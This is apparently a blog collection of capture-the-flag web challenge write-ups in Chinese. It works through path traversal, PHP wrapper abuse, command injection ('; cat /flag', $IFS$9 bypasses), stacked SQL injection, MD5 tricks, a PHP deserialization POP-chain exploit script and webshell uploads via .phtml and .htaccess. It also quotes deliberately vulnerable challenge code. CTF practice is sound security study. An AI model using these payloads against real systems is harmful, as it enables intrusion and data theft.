(PS:本文仅用于学习,非法使用后果自负)
1.[HCTF 2018]WarmUp
贴一下核心的checkFile()函数
由hint.php可知flag在ffffllllaaaagggg中,同时需要通过checkFile()中的设定规则,返回true值
代码审计,file传入的值必须被设定且为字符串
同时file中必须含有source.php和hint.php
checkFile()中提供了字符串截断函数,以“?”来截断
- 于是构造 file = source.php?../../../../../../../../../ffffllllaaaagggg (在url中,“?”用来表示参数连接,这里巧用“?”进行截断同时进行参数传递)
简介:
- ./ 表示当前目录
- ../ 表示上一级目录
- / 表示根目录
2.[ACTF2020 新生赛]Include
看了眼url,flag应该就在flag.php中。
那么我们的工作重心就在获取flag.php源码
此处使用php伪协议获取:
贴一个链接PHP伪协议简介:
juejin.cn/post/714247…
3. [ACTF2020 新生赛]Exec
打开之后看了下源码,页面标题为command execution,应该为命令执行漏洞
尝试在ip后接入;cat /flag,获取flag
4.[强网杯 2019]随便注
使用sqlmap进行测试(Kali Linux下测试):
1.爆database: sqlmap -u "http://4a81fdeb-e5ef-4331-9215-f130e9f83b5a.node4.buuoj.cn:81/?inject=1" --dbs
2.爆table: sqlmap -u "http://4a81fdeb-e5ef-4331-9215-f130e9f83b5a.node4.buuoj.cn:81/?inject=1" -D supersqli --tables
没能成功,尝试手工注入,闭合方式为 '$inject'
发现有正则过滤
查阅可知可以用show进行打印,考虑使用堆叠注入:
1.爆库: 1';show databases;#
2.爆表: 1';show tables from supersqli;#
3.爆字段: 1';show columns from `1919810931114514`(trick:当表名为纯数字时,要用反引号“`”进行包括)
发现有flag!
在sqlmap中可以获得相关数据库信息:
查阅相关信息,在MySQL中,可以使用handler代替select来进行查询:
关于handler的使用贴个链接:
5.[SUCTF 2019]EasySQL
尝试使用堆叠注入,发现可以注入
后来发现题目里把from给ban了
尝试使用编码、字符串拼接等绕过,发现有字段长度限制或者无回显。
最后查了一下别人的wp,发现语句的SQL语句为:(new trick)
"select".$_POST['query']."||flag from Flag";
SQL语句中“||”的简介:
在sql_mode中可以进行 ||语义的设置:
SQL_MODE = PIPES_AS_OR 将管道符设置成逻辑或(默认情况)
SQL_MODE = PIPES_AS_CONCAT 将管道符设置成字符串拼接
所以可以使用以下两种sql注入:
payload: *,1
最终sql语句:select *,1 from Flag
payload: 1;set SQL_MODE = PIPES_AS_CONCAT;select 1
最终的sql语句: select 1;set SQL_MODE = PIPES_AS_CONCAT;select 1||flag from Flag
(flag可能是Flag表中的某个字段)
6.[GXYCTF2019]Ping Ping Ping
命令执行漏洞
使用ls命令查看当前目录下的文件:
使用cat查看flag.php:存在空格过滤
空格绕过采用$IFS$9,发现flag也过滤了,那就看index.php如下:
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
可以采用字符串拼接的思路来进行绕过正则匹配的过滤:
注意拼接时使用$来标识变量名,使得变量得以解析
查看源码便可找到flag
贴个命令执行漏洞的文章:www.anquanke.com/post/id/162…
7.[NewStarCTF]NotPHP
<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
echo "Hack Me";
eval("#".$_GET['cmd']);
}else{
die("Number error!");
}
}else{
die("Wrong Key!");
}
}else{
die("Pass it!");
}
此题涉及的姿势有:
- md5绕过
- PHP弱类型
- 上传一句话木马,蚁剑连接
蚁剑连接,终端查看flag
贴个MD5绕过的文章:blog.csdn.net/LYJ20010728…
8.[极客大挑战 2019]Secret File
使用Burp Suite抓包发现了secr3t.php文件。
PHP代码审计,使用PHP伪协议将PHP代码base64编码防止解析,将输出的字符串进行base64解码即可获得flag
9.[极客大挑战 2019]PHP
根据提示下载备份文件
打开文件,查看目录如下:
代码审计,易知此处需要利用PHP反序列化漏洞获取flag:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
new trick学习(CVE-2016-7124):
1.反序列化字符串中的相关对象写入的属性个数多于类声明时的属性个数,会造成__wakeup()函数绕过。
相关的PHP内核原理此处贴个链接:mp.weixin.qq.com/s/RL8_kDoHc…
2.payload在url提交中,'\0'会被视为空白符而丢失,此处考虑使用%00替代,也可以使用url编码
(图中的符号便是未被解析的'\0'符号)
第二行便是url编码后的结果,可以观察到'\0'被编码成了%00
于是构造对象注入:(注意将属性个数改成大于2的数,实现__wakeup()函数绕过)
select=O:4:"Name":3{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
获得flag:
10.[极客大挑战 2019]BabySQL
发现有类似于,正则替代。
尝试使用双写绕过:
获取flag:
11.[NewStarCTF 2022]UnserializeOne
代码如下,很容易得知是要利用PHP反序列化漏洞进行获取flag
<?php
error_reporting(0);
highlight_file(__FILE__); #Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
poc链如下,
Start:__destruct() Sec: __toString() Easy: __call() eeee: __clone() Start: __isset() Sec: __invoke()
===>弹出flag
贴下代码:
<?php
class Start
{
public $name;
protected $func;
public function __construct()
{
$this->func = new Sec();
}
public function __destruct() # 1
{
echo "Welcome to NewStarCTF, " . $this->name;
}
public function __isset($var) # 5
{
($this->func)();
}
}
class Sec
{
private $obj;
public $var;
public function __construct()
{
$this->obj = new Easy();
}
public function __toString() # 2
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke() # 6
{
echo "123";
echo file_get_contents('/flag'); # 弹出flag
}
}
class Easy
{
public $cla;
public function __call($fun, $var) # 3
{
$this->cla = clone $var[ 0 ];
}
}
class eeee
{
public $obj;
public function __clone() # 4
{
if (isset($this->obj->cmd)) {
echo "success";
}
}
}
//if (isset($_POST[ 'pop' ])) {
// unserialize($_POST[ 'pop' ]);
//}
$Start1 = new Start;
$Start1->name = $Sec1 =new Sec;
$Sec1->var = $eeee1 = new eeee;
$eeee1->obj = $Start1;
echo urlencode(serialize($Start1));
贴下作者给的学习链接:zhuanlan.zhihu.com/p/377676274
12.[极客大挑战 2019]Upload
文件上传漏洞
知识补充:
文件上传时在客户端和服务器端通常会进行检测
客户端校验:
一般是用js检查上传文件的后缀名
服务器端校验:
1.MIME检测(即请求报文中的content-type字段检测,该字段设定某种类型的文件当被浏览器打开的时候需要用什么样的应用程序)
e.g contene-type: image/jpeg image/gif
2.文件内容头检测,典型的是 GIF89a
3.文件扩展名的再次检测
4.文件内容检测(静态调试和动态调试)
此题的攻击思想:中间人攻击,使用burpsuite修改content-type进行后缀名绕过
尝试使用backdoor.php结合content-type类型修改
一些尝试:
1.后缀名验证失败:
2.文件内容绕过失败:文件内容过滤了<?
绕过姿势:使用js的language标识为php
3.使用GIF89a内容头标识为GIF进行图片攻击:(此处该文件命名为backdoor.php)
4.尝试使用php、php3、php4、php5进行filename后缀名绕过都不行,只能使用phtml:(绕过服务器端验证)
5.蚁剑连接,终端查询flag:
学习链接:
GIF89a图片欺骗攻击介绍链接:GIF89a图片头文件欺骗 - IT使者 - 博客园 (cnblogs.com)
phtml介绍: 在Apache中的httpd.conf中有相关配置项:
AddType application/x-httpd-php .php .phtml
表示文件名后缀为此的话,当经过Apache服务器端解析时会被当做php解析。
当然玩得骚一点的话,甚至可以将.txt文件补充到这里
13.[ACTF2020 新生赛]Upload
相比于上一题,本题是在JS前端进行后缀名检测,碰到不符合的后缀名进行alert弹窗警告
客户端后缀名验证:
解题姿势跟上一题差不多,是由burp suite抓包进行中间人攻击:
(只需要修改filename后缀为phtml进行绕过,从而上传webshell)
注意服务器端使用了加密手段,所以蚁剑连接时注意:
14.[ACTF2020 新生赛]BackupFile
常见的备份文件名有.bak,.swp
在url中输入/index.php.bak下载php源码,
简单的代码审计:
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
is_nummeric($arg):判断$arg是否为数字或者纯数字字符串
intval:直接测试吧,少得说明
审计结果就是以GET方式传一个key,值为字符串123...
15.[RoarCTF 2019]Easy Calc
0x01 PHP字符串解析机制
查看源码,看到calc.php,尝试进入发现有PHP源码:
可以看到在calc.php有一定的黑名单绕过,同时在初始网页源码发现有WAF.
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n',''', '"', '`', '[', ']','$','\','^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
利用PHP字符串解析特性绕过WAF,
PHP机制:PHP在解析URL参数的时候,PHP会执行有效变量名的转化:
1.删去变量名开头的空格
2.将一些字符替换成下划线
0x02 PHP目录遍历函数
基于该规则,可以在URL中进行代码注入绕过WAF,同时,接下来是new trick: PHP的几个函数使用:
1.scandir($path):成功则返回文件和目录的数组。失败则返回 FALSE。如果 directory 不是一个目录,则抛出 E_WARNING 级别的错误。(完成目录遍历)
2.file_get_contents($file_path):把整个文件读入一个字符串中。(获取文件内容信息)
3.chr(): 使用字符编码机制绕过正则匹配
var_dump(scandir(/)):返回目录下的文件
vardump(file_get_contents(/flagg)):返回文件内容
获得flag!!
0x03 文章学习
附: 1.一篇讲解PHP字符串解析特性的文章: Abusing PHP query string parser to bypass IDS, IPS, and WAF (secjuice.com)
截取一段源码和运行截图:
<?php
# parse_str() 函数的实现
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
/* yes... I've added a sleep time on each loop just for
the scenic effect :) like that movie with unrealistic
brute-force where the password are obtained
one byte at a time (∩`-´)⊃━☆゚.*・。゚
*/
usleep(5000);
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}
运行结果如下,指明在变量名的不同位置可以进行相应的字符替代:
16.[BJDCTF2020]Easy MD5
0x01.md5($str, true)的绕过
尝试输入一些数字进行尝试,无果...
于是抓包吧,在抓包的时候发现了,这是在后端处理的sql语句:
于是开始考虑攻击语句的注入:
select * from 'admin' where password=md5($pass, true)
首先看下PHP的MD5解释官方文档解释:
(然后开始我的胡乱分析🤡)
如果能够在md5加密后出现类似于 password = ×××× or '1...'之类的就好了
🍉ps:基于sql特性'1...' 以非0数字开头的字符串会被解析成true,所以哪怕是解析出乱码也没事,只要字符串开头是非0数字即可
这里去查阅了网上的一些文章,学到了新姿势❤:ffifdyop
ffifdyop:在md5($str, true)加密之后会获得 'or'6××××(表示乱码)
所以此处构造payload:password = ffifdyop
0x02.md5的数组绕过
0x03.md5的数组绕过
17.[HCTF 2018]admin (2022.11.25 很久没更新了hhh...这段时间课内时间太忙了lia)
废话不多说,直接上!打开这道题,是一个登录界面的场景
0x01.有没有可能是弱口令尝试呢?
一开始admin一段乱试,然后在register功能中发现admin已经存在,说明应该是要破解admin的密码,如果运气够好,可以尝试出密码为123(当然可以进行弱口令爆破)
0x02. 其他尝试
于是注册了个号,翻了翻源码,发现在修改密码页面发现了hint
于是下载获得网站源码,发现这是个flask框架搭的web站点,我们直接去查看router.py路由的设置
想着怎么登录,很自然地查看login()函数
于是再查看index.html和login.html,又有hint:
考虑session伪造,这里的hint提示是,必须要有session身份认证,且session以字典形式给出,同时'name'字段的信息是admin
0x03. 使用session加密解密脚本(快乐的脚本小子上线)
mirrors / noraj / flask-session-cookie-manager · GitCode
使用方法在其中有说明,只需要根据上述思路进行session伪造,结合burp suite即可
0x04. 总结
-
flask框架学习和代码审计
-
flask的session机制
-
session伪造,获取admin权限
18 [MRCTF2020]你传你🐎呢
文件上传漏洞,使用burp suite抓包,尝试修改filename和content-type
发现存在后缀名检测和MIME检测,考虑绕过修改进行绕过。
此处得配合.htaccess文件创建目录级别的配置:将png文件进行php解析
AddType application/x-httpd-php .png
然后配合蚁剑进行连接即可获得flag
---------------------------------学习不止,持续更新-----------------------------------------